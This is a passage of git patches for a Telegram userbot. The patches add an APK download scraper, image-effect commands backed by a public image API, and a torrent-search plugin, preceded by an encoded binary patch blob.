zgC(uh=G5v-uwSd!zclz z!)#rDjDP_cK?Cv2Zg*ODS%dI(gdx`5_^!ac;2mlWv%)chH3EO@cpv^=@P2DF{t7Ju ze{m6^p+sapEsJ;t;KJBTA*CQ}I~aIN6$l*i?d*i1s97onb24Jsr`!nOLDW z3t!osZOy?IVJ=!W-&$a$TMMzOEW^sgdZ)#BlXw_wWFA3`$!i@)G`<2eV=v>|o4>)_ zSOeyjcjFrtox%_E%>I}^+hJY9_o3=>rFmKeSRYuQ;hU{Ttv^|xTVEi~f5Q5A>-+e| z%~E)`5uW-F^v|2tThsj)+OsF=!4%`zsHRG zD)hml=+S)md>=gj7|vpS4wa%O)>@BSpIGax^*FD;Wj$$au+CZgt*7wC&`s86>x%WM z^&-Bm&|3uJr<;RCi1k1CG;1IHENWj7X5A2$=qLJ%+r$8IyBH|$5O<2Z#2_(P48c!* z-Xrc64(m(nFZlNBFcB_>ixFa^xKE4{_lwbDjEE4C_>%Kj5iMe@{}QqIMQta3MLbT7 z7jEG}+-ahS7nAU-;#0&_>m%!zB0(gIB#|sqM5>sEx3n2zrg%Wi5)b10opUUobyB2> zx%k%2e6avuC|QWFSY?Pz>u=Uq*2mVb@GG2)MV5G2ED?{0Y~dA4#WIm2a>a77LaY>d zVwHGQ&3Uk2JxiWD4r6V#AZ<@ z%B^>;U*L-z?^{2!KD2&n{ajRtN>L@M#nWPos1dcIPSlGAu~jsRZDPCFA(}+9Xc4WV z4PPqUDRzl=v0LmBd&NGnUv!8AqEj3chs0rVL_8~wieuuqwO5=F&xvmfpExO=7cYoY z;2jXq< zL-8Z=pW>qUvA86DBHj`ICEgW374M1v7VnFni4Vlj#fRb-;v?}(@v-=oxGa7xej|P> zJ`ukYSH$ndr{WLds`yM?6Mqz+i$94k#Gl2N;xFQ_;&0+B@jv3axFIbmq?AhfNq-q2 zd&%B1PzK3h86x}0P}x_8$$qjwK0!D@-Yy5qJLH}6E;&dJmP6#-@*a7wbjYD{m<*T0 z}6PLLC2yqqK_%PDfIOpu8( zNhZq_nJTBr>2ijgDIdU(Q9meW%Q-Sl&Xx1ze7QiT%Z2hGnISXfBDq**$%o|<`H0Mx zUb$2*lQ}Y1E|)9hN|`5D$wy_rTrCS^plq#=da~&ym~}sTYpwwwN&Bv3RSLJu2$fe(^jfHwMspz@~t*}#o-z25BPr6 zcFZ6j#`9Vep3}agR$H&C0#&HisK->1Dpn<`RIOEyt99xLwO)NoZBS3Djp`}2No_{N zsa#d4N>!z*)zfMVeq+8?)v0>bpth<;wM}hTJ5-ZuRxPSkwW(*+PPI$5tKDjk+N<`d z{i;J9P@U?aI;0M(BkEaoR2@SM>x6nveOvj|N%g#XL7h^k)fshGom1aYFRGW+dG)e- zMSWMjs=Cx`>fhAs>U-)9^?miG`giq~`VVzM{Xo5~euzlef2xb>$Lf;$iF!xazN^`i=Un`UKy)zoLGxK2?8ESJh|gn);*q zT>VLXq5iDCRDV%_Rew`ossB;e)eZd-PJDh?`T6b6HJ;I zki5(bu7DgnNd~dE1Y0`km0}q2AgTogq}YtPOoCE!3QN4pw7j6)ud}^UjE-D84M?#K z=Q0VN)~zIXMR(p-6B}*Pn2>3Byj|_Jt%t1Wu@OAIyH@bZ?!4dhrQRaHm4JX5C3*Qd zxdC}hdd)Cx$TMx2VYeaA_Sy`iHqTCjW_;ZcIb){GTNOOBn<98scRu8S9-2ZPy=7xX zQEqNQzPBJJZ&|=B@3PX8+<<&0A+vgx%kQxfFw6E*J`=xLP~n#k2$*fxFR<&+?olPA zpvOkQY`cDe?d1aRn!@6eqQW&Rb5%;g3YA;1qSqYbheG3rIkq1Pne>^nvb11@x2SY= zzPGfbPhrokfO)otB3r|}9<(7vJvIX7*&2%MWWHUim`U*bZr24DcjrSE^e_-o(qkiF zfo-OQiQfX^a4|OXHe!NFMvq%1k?tH)^yRGY)1TFgd912?hb=E(>uwX^8|D2VDMFswa#B^e* zM*F-^jSfoCT5U7lud}@pQn;&^Hi*qslV-@}0+#XUA?KX%-BJ55Zo z)6{W+D~h~pb5U?NYu>{U$fH7Y@oNGup~D>H_scAvZgo>&F1djDJACk3|uw1D`d{OCIuUDbnE>*O$FrZjBD#o9QDnZ)}zgmNKEyF*^@h{Zw4$)?B z%If{y4)QXZYg`f1Kfu zGyHLeKhE&S8U8rKA7}XE41b*Ak2CynhJU=_A8+`_8~*Wzf4t!zZ}`U>{_%!?yx|{j z_{SUm@rHlA;U91K#~c3fhTm=Y-G<+7_}zxzZTQ`W-);EahSzO)-G= z*KK$`hSy_wJ%-m~cs+*KV|YD=*JIl4G5j9G?=k!y!|yTt9>ec3{2s%fVE7XZe}dsp zF#HLIKf&-P82$vqpJ4bC41a>*PcZxmhCjjZCm8+&!=GsQ6Agc&;ZHRDiH1MX@FyDn zM8ltG_!A9(qTx?8{N`!GnP~VE4S%BHPcr;ThCj*hCmH@E!=GgMlMH{7;ZHLBNrpek z@FyAmB-8#R!=GgMlMH{d;WzgsXR_f>HvGwkKiTl#yk8|7{$#_SZ1|H6f3o3EHvGwk zKiTjn8~zl-pJLjdV)#=Ge~RHxG5jf}{V9e&#qg&X{uINXV)#=Ge~RHxG5jfpKh^N3 z8vaznpKAD14S%ZPPc{6hhCkKtryBlL!=GySQw@Kr;ZHUEsW!jM-1lAPzV9;keV4iK zyP|D=SG3LVinjS((Kf%!-1lA4HowcfySmJM-xY21yUcyx6>amoq7A>f@4L)>-(~Lm zF8jV8lVa;bO8>;9*!L}@sR0l1@i^ddJ9&tY$N`Tt34G}0qf+4GH*@+v5tCw%ccjLi zJ>IcReIcx{BMux?eUIn(|&urW81Xf9`7+JsWAbW_KEuh6Z`D6M>~!hc6+pA+pycC9osg0s{J$- zi|~}LkCd%KO0ObitB}&GNNE=-y^54}kXD!GH%w4w(FF+`5A0O`wEGRBz)U3!aKd;Ce zuqL+{uTA#RghaoT(xO6c#2A?|_C+8zCMGU07gMRLy(PIhfrz8!>bc&PAtfsj%dzvt z!OQd3-pq#-Ls-Gh1K)VjPEE9(gOtueO6R1e*q6lARQr;NG`Y|GWw|+d`T5?c;?>L6 zgr#=}6}aQJ?(MJN%KLZk)9>f{MZHHccJ(**ef?@5kU*=UjE;O=vR@DVMfyE8Hz1Ma z0+Q?`*-ldIB-Ku)*~xS}nPDe0?c@PFnPn#rGU<(1{o-OB!I^FEp2H+?eQr@b@&-i&i6Qwlu$(M}ikI^uv7L?wE=>#x^k@ntAj3%gwMJK^l8Uk7y2egqUy-H~QZa z7vioUhK-mFw&O{rnjK>@2iPBW-VRkU->+vt%RV~4yBUG{6yn~n9sw~^th+_Qb|lR< z*fZW{m$c(?%=f<~Zf7611AELP!ot90x6|w~gT0-IYRT++r_m#y4%u=wV|T7!3o`(!xFwpme50FLN{5U4mQ&of|e_7E%v+!^8s`1WFC_~ z%djpeKR<67&yhaFo0ny~bEtrwbF*kk-m%j&mEyyPlT%>??E`;8#g3g zB72uSZeJ^dcw^$ez~zOdMJA`OF8Wg1yEtzhGeNvhF&i-7mc77E((PoSojhbG8FrFs zCySWa7ifKVq6}uV44pADbk>%^qnezVf;{NP4LOiEO6GFB#d+Ssb$Q-ETN#e_V)@cF zz3q#m&gd5DdUh*y88Tu|cT8OS1V?)F{-F!oY+99}(^e7(XGeF6Aq>3>PSfTXz@zFtXVo=3})vJ-s+bBCauioh{PiZ3u}nJ*}5 zX>z2`&)(yJ!SIs-ej~CSDK+6<-4rrggS9%JV=!89lh3C{gnN@w*FVB1vK`hrIL#O=|MzK{rq3pOKt zeX!q3VNbyQFoZtwe!Xc8JZV``=;LWVE7hCrJ{clz2Wx1ABi=FXCM$g7bw~R8Mnv5a zAL$GGzmEAt(lQ+H7jaTr14lTbe7%#h9jQD?&_Ha=sHvF|zSJke6Q2(g_#QnN`lH8g zcj$vGhAM^M2BX?Qbg?#y0b=Wz z;S*!vUPn~8`(&UPfG)T*;$#TUgPvuL<{20>II+bThc8>7X;bHByr3L@j=?Xek$!_R z6BBVJQLuj!&Wdb(I@`lYC1vM?`}~r;IXKN!l6Nrj*_k-&P|S-SPSxEOAMPGJlm?<4 z@neT(8aa1F_(Jq(x^1%Aan~))u>A*3xiwMY4o7^AJIa(Ba%(x$+<&bJzK|p;sR^GE zo|^6Z|7wpOP9ww7q`~1Zld8{Q?eLH!oy>q&Y-=cn(T4E+}>kl`lXEwzWSw(fj$QsAt(DJA^x9J^`c7R|%|Nx@s# zM*Ne4|5)QlT}z+Gx`)kJ_E`%ua0cVXbF=HsfpcNjGClm%h#5?E9lPobeQ0U8If2pL zH`{sN|C0T`>#I@!%Vf9s`~LrBvVYuXqct;6DLu-0F`j{&4jv;g{BFI3jQM{T{kxuw z_}A;*;*`jLz1}}=UsMFH24f?9QTCk<4^!XijkV9q@HC@`k`=zj7nXu+!>DXLi25RHBM0|%cB3`$DOd_H)TOqrL6BYtuW?BRbx!~X#@{FZ+J literal 0 HcmV?d00001 From 9c28b08623286a407ad43584967bdf43ad3da94c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 12:51:47 +0530 Subject: [PATCH 199/838] Update antispam.py --- fridaybot/modules/antispam.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 3a0c310c..340f191b 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -19,7 +19,7 @@ async def ok(event): user = sclient.is_banned(juser.id) if user: await event.reply( - f"**#VirtualUserbot ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" + f"**#FRIDAY ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" ) try: await borg.edit_permissions( From d4bd44601e031d731e52feec69a534674502c7d0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 13:13:46 +0530 Subject: [PATCH 200/838] Update __init__.py --- fridaybot/function/__init__.py | 28 ++++++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index ee9bbdf3..6bec741d 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -8,12 +8,12 @@ import time from os.path import basename from typing import List, Optional, Tuple - +import webbrowser +from bs4 import BeautifulSoup import requests from bs4 import BeautifulSoup as bs from pymediainfo import MediaInfo from telethon.tl.types import MessageMediaPhoto - BASE_URL = "https://isubtitles.org" from fridaybot.Configs import Config @@ -313,3 +313,27 @@ async def get_subtitles(imdb_id, borg, event): namez = selected_sub_name return final_paths, namez, subtitles[0]["sub_link"] +# Thanks To TechoAryan For Scarpping +async def apk_dl(app_name, path, event): + await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') + res = requests.get(f"https://m.apkpure.com/search?q={app_name}") + soup = BeautifulSoup(res.text, 'html.parser') + result = soup.select('.dd') + for link in result[:1]: + s_for_name = requests.get("https://m.apkpure.com" + link.get('href')) + sfn = BeautifulSoup(s_for_name.text, 'html.parser') + ttl = sfn.select_one('title').text + noneed = [' - APK Download'] + for i in noneed: + name = ttl.replace(i, '') + res2 = requests.get("https://m.apkpure.com" + link.get('href') + "/download?from=details") + soup2 = BeautifulSoup(res2.text, 'html.parser') + result = soup2.select('.ga') + for link in result: + dl_link = link.get('href') + r = requests.get(dl_link) + with open(f"{path}/{name}#VirtualUserbot.apk", 'wb') as f: + f.write(r.content) + await event.edit('`Apk, Downloaded. Let me Upload It here.`') + final_path = f'{path}/{name}#VirtualUserbot.apk' + return final_path, name From 8b534b9b7541452c49d680016667105987f1c48c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 13:43:08 +0530 Subject: [PATCH 201/838] Update webtools.py --- fridaybot/modules/webtools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/webtools.py b/fridaybot/modules/webtools.py index cd1b0fa3..cb494c0a 100644 --- a/fridaybot/modules/webtools.py +++ b/fridaybot/modules/webtools.py @@ -164,7 +164,7 @@ async def _(event): if event.fwd_from: return pathz, name = await apk_dl(akkad, Config.TMP_DOWNLOAD_DIRECTORY, event) - await borg.send_file(event.chat_id, pathz, caption='Uploaded By @FRidayOT') + await borg.send_file(event.chat_id, pathz, caption='Uploaded By [VirtualUserbot](github.com/inukaasith/virtualuserbot)') CMD_HELP.update( { From 64c2cf167aff553a69a1834ebadc80ebeccbfdb2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:30:07 +0530 Subject: [PATCH 202/838] Create imagefun.py --- fridaybot/modules/imagefun.py | 420 ++++++++++++++++++++++++++++++++++ 1 file changed, 420 insertions(+) create mode 100644 fridaybot/modules/imagefun.py diff --git a/fridaybot/modules/imagefun.py b/fridaybot/modules/imagefun.py new file mode 100644 index 00000000..991540ca --- /dev/null +++ b/fridaybot/modules/imagefun.py @@ -0,0 +1,420 @@ +#Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits +import os + + +import numpy as np +import requests, re +from PIL import Image +from telegraph import upload_file +from telethon.tl.types import MessageMediaPhoto +from fridaybot import bot, CMD_HELP +from ..utils import admin_cmd, sudo_cmd +pathdc = "./shivam/" +if not os.path.isdir(pathdc): + os.makedirs(pathdc) + +#keep CREDIT LINES ELSE GET LOST + + + +@bot.on(admin_cmd(pattern=r"trig")) +@bot.on(sudo_cmd(pattern=r"trig", allow_sudo=True)) +async def dc(event): + await event.edit("Making this image 😡triggered😈") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hmm = f"https://some-random-api.ml/canvas/triggered?avatar={link}" + r = requests.get(hmm) + open("shivam.gif", "wb").write(r.content) + hehe = "shivam.gif" + await borg.send_file( + event.chat_id, hehe, caption="Got Triggered 😈😂", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits +@bot.on(admin_cmd(pattern=r"wst")) +@bot.on(sudo_cmd(pattern=r"wst", allow_sudo=True)) +async def dc(event): + await event.edit("What a waste 😒😒") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hmm = f"https://some-random-api.ml/canvas/wasted?avatar={link}" + r = requests.get(hmm) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, caption="Totally wasted⚰️ 😒", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits + + + + + +@bot.on(admin_cmd(pattern=r"grey")) +@bot.on(sudo_cmd(pattern=r"grey", allow_sudo=True)) +async def dc(event): + await event.edit("Stealing Color from this 😜") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/greyscale?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, caption="Ur Black nd White img here 🙃", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + ##Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits + +@bot.on(admin_cmd(pattern=r"blur")) +@bot.on(sudo_cmd(pattern=r"blur", allow_sudo=True)) +async def dc(event): + await event.edit("Bluring Image🤓🤓") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/blur?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, caption="Blured 🤓", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + + +@bot.on(admin_cmd(pattern=r"invert")) +@bot.on(sudo_cmd(pattern=r"invert", allow_sudo=True)) +async def dc(event): + await event.edit("Inverting Image🤔🤔") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/invert?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, caption="Hmm 🤔 try to invert again", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits + +@bot.on(admin_cmd(pattern=r"igrey")) +@bot.on(sudo_cmd(pattern=r"igery", allow_sudo=True)) +async def dc(event): + await event.edit("Don't know what i'm doing 😛😜") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/invertgreyscale?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits +@bot.on(admin_cmd(pattern=r"bright")) +@bot.on(sudo_cmd(pattern=r"bright", allow_sudo=True)) +async def dc(event): + await event.edit("Adding Brightness 😎") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/brightness?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, caption="Brightness increased 😎😎", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + + + + + + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits +@bot.on(admin_cmd(pattern=r"ytc")) +@bot.on(sudo_cmd(pattern=r"ytc", allow_sudo=True)) +async def hehe(event): + await event.edit("Lets make a utube comment 😁😁") + givenvar=event.text + text = givenvar[5:] + try: + global username, comment + username, comment= text.split(".") + except: + await event.edit("`.ytc username.comment reply to image`") + await event.delete() + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in sed.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathd ) + else: + await event.edit("Reply To Image") + return + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + nikal = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&comment={comment}&username={username}" + r = requests.get(nikal) + open("shivam.png", "wb").write(r.content) + chutiya = "shivam.png" + await borg.send_file( + event.chat_id, chutiya, reply_to=dc + ) + for files in (chutiya, img): + if files and os.path.exists(files): + os.remove(files) + + await event.delete() + + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits +@bot.on(admin_cmd(pattern=r"glass")) +@bot.on(sudo_cmd(pattern=r"glass", allow_sudo=True)) +async def dc(event): + await event.edit("Framing image under Glass 😁😁") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/glass?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, caption="Wow Image Trapped Under the glass 😂", reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits + +@bot.on(admin_cmd(pattern=r"blrpl")) +@bot.on(sudo_cmd(pattern=r"blrpl", allow_sudo=True)) +async def dc(event): + await event.edit("Bluring Image🤓🤓") + dc = await event.get_reply_message() + if isinstance(dc.media, MessageMediaPhoto): + img = await borg.download_media(dc.media, pathdc) + elif "image" in dc.media.document.mime_type.split("/"): + img = await borg.download_media(dc.media, pathdc) + else: + await event.edit("Reply To any Image only 😅😅") + return + url = upload_file(img) + link = f"https://telegra.ph{url[0]}" + hehe = f"https://some-random-api.ml/canvas/blurple?avatar={link}" + r = requests.get(hehe) + open("shivam.png", "wb").write(r.content) + hehe = "shivam.png" + await borg.send_file( + event.chat_id, hehe, reply_to=dc + ) + for files in (hehe, img): + if files and os.path.exists(files): + os.remove(files) + await event.delete() + + + #Made By Sh1vam Donot KANG +# ME MADE MORE THAN ONE AND MORE COMPLEX ONE WAS YT COMMENT +#I REMOVED COLOUR CAUSE ALL NEED TO REMEMBER HEX COLOUR CODES # replaced by %23 +# DARKCOBRA ORIGINAL +# by @shivam_patel , fix nd edited by @danish_00 +# by #team dc + +# Kangers Keep Credits + +# Kepp Credits + + +CMD_HELP.update( + { + "imagefun": "__**PLUGIN NAME :** Image Fun _\ + \n\n📌** CMD ★** `.trig (reply to image)`\ + \n**USAGE ★ **Makes a Triggered Gif\ + \n\n📌** CMD ★** `.wst(reply to image)`\ + \n**USAGE ★ **Show A Wasted Image 😂😂\ + \n\n📌** CMD ★** `.grey(reply to image)`\ + \n**USAGE ★ **Convert Colour image to Black nd white\ + \n\n📌** CMD ★** `.ytc (Name).(text)(reply to image)`\ + \n**USAGE ★ **Show A Youtube Comment of ur repled img and typed name. (note :- that dot . in middle is important)\ + \n\n📌** CMD ★** `.invert`\ + \n**USAGE ★ **Create a Negative image to return it back to normal use .invert again\ + \n\n📌** CMD ★** `.blur / .igrey /.bright / .glass / .blrpl` \ + \ncheck them on ur own 😁😁\ + \n(note:- it work only on images, u can use .stoi to convert a sticker info image then u can use😁😁)" + + } +) + From ff34792bb16da881891b32099cae43d3b4e2fbab Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 19:31:33 +0530 Subject: [PATCH 203/838] Create torrentsearch.py --- fridaybot/modules/torrentsearch.py | 225 +++++++++++++++++++++++++++++ 1 file changed, 225 insertions(+) create mode 100644 fridaybot/modules/torrentsearch.py diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py new file mode 100644 index 00000000..a30a0a7d --- /dev/null +++ b/fridaybot/modules/torrentsearch.py @@ -0,0 +1,225 @@ +""" +Torrent Search Plugin for Userbot. //torrentdownloads.me +cmd: .search search_string +Note: Number of results are currently limited to 15 +By:-@Zero_cool7870 +""" +from datetime import datetime + +import cfscrape # https://github.com/Anorov/cloudflare-scrape +import requests +from bs4 import BeautifulSoup as bs + +from ..utils import humanbytes + + +def dogbin(magnets): + counter = 0 + urls = [] + while counter != len(magnets): + message = magnets[counter] + url = "https://del.dog/documents" + r = requests.post(url, data=message.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + urls.append(url) + counter += 1 + return urls + + +@bot.on(admin_cmd(pattern="tsearch ?(.*)")) +async def tor_search(event): + if event.fwd_from: + return + headers = { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" + } + search_str = event.pattern_match.group(1) + await event.edit("Searching for " + search_str + ".....") + if " " in search_str: + search_str = search_str.replace(" ", "+") + print(search_str) + res = requests.get( + "https://www.torrentdownloads.me/search/?new=1&s_cat=0&search=" + + search_str, + headers, + ) + else: + res = requests.get( + "https://www.torrentdownloads.me/search/?search=" + search_str, headers + ) + source = bs(res.text, "lxml") + urls = [] + magnets = [] + titles = [] + counter = 0 + for div in source.find_all("div", {"class": "grey_bar3 back_none"}): + # print("https://www.torrentdownloads.me"+a['href']) + try: + title = div.p.a["title"] + title = title[20:] + titles.append(title) + urls.append("https://www.torrentdownloads.me" + div.p.a["href"]) + except KeyError: + pass + except TypeError: + pass + except AttributeError: + pass + if counter == 15: + break + counter += 1 + if not urls: + await event.edit("Either the Keyword was restricted or not found..") + return + for url in urls: + res = requests.get(url, headers) + # print("URl: "+url) + source = bs(res.text, "lxml") + for div in source.find_all("div", {"class": "grey_bar1 back_none"}): + try: + mg = div.p.a["href"] + magnets.append(mg) + except Exception: + pass + shorted_links = dogbin(magnets) + msg = "" + try: + search_str = search_str.replace("+", " ") + except BaseException: + pass + msg = "**Torrent Search Query**\n`{}`".format(search_str) + "\n**Results**\n" + counter = 0 + while counter != len(titles): + msg = ( + msg + + "⁍ [{}]".format(titles[counter]) + + "({})".format(shorted_links[counter]) + + "\n\n" + ) + counter += 1 + await event.edit(msg, link_preview=False) + + +@bot.on(admin_cmd(pattern=r"movie (torrentz2\.eu|idop\.se) (.*)")) +async def _(event): + if event.fwd_from: + return + start = datetime.now() + await event.edit("Processing ...") + input_type = event.pattern_match.group(1) + input_str = event.pattern_match.group(2) + search_results = [] + if input_type == "torrentz2.eu": + search_results = search_torrentz_eu(input_str) + elif input_type == "idop.se": + search_results = search_idop_se(input_str) + logger.info(search_results) + output_str = "" + i = 0 + for result in search_results: + if i > 10: + break + message_text = ( + "👉 " + + result["title"] + + ": " + + "" + + " \r\n" + ) + message_text += " FILE SIZE: " + result["size"] + "\r\n" + # message_text += " Uploaded " + result["date"] + "\r\n" + message_text += ( + " 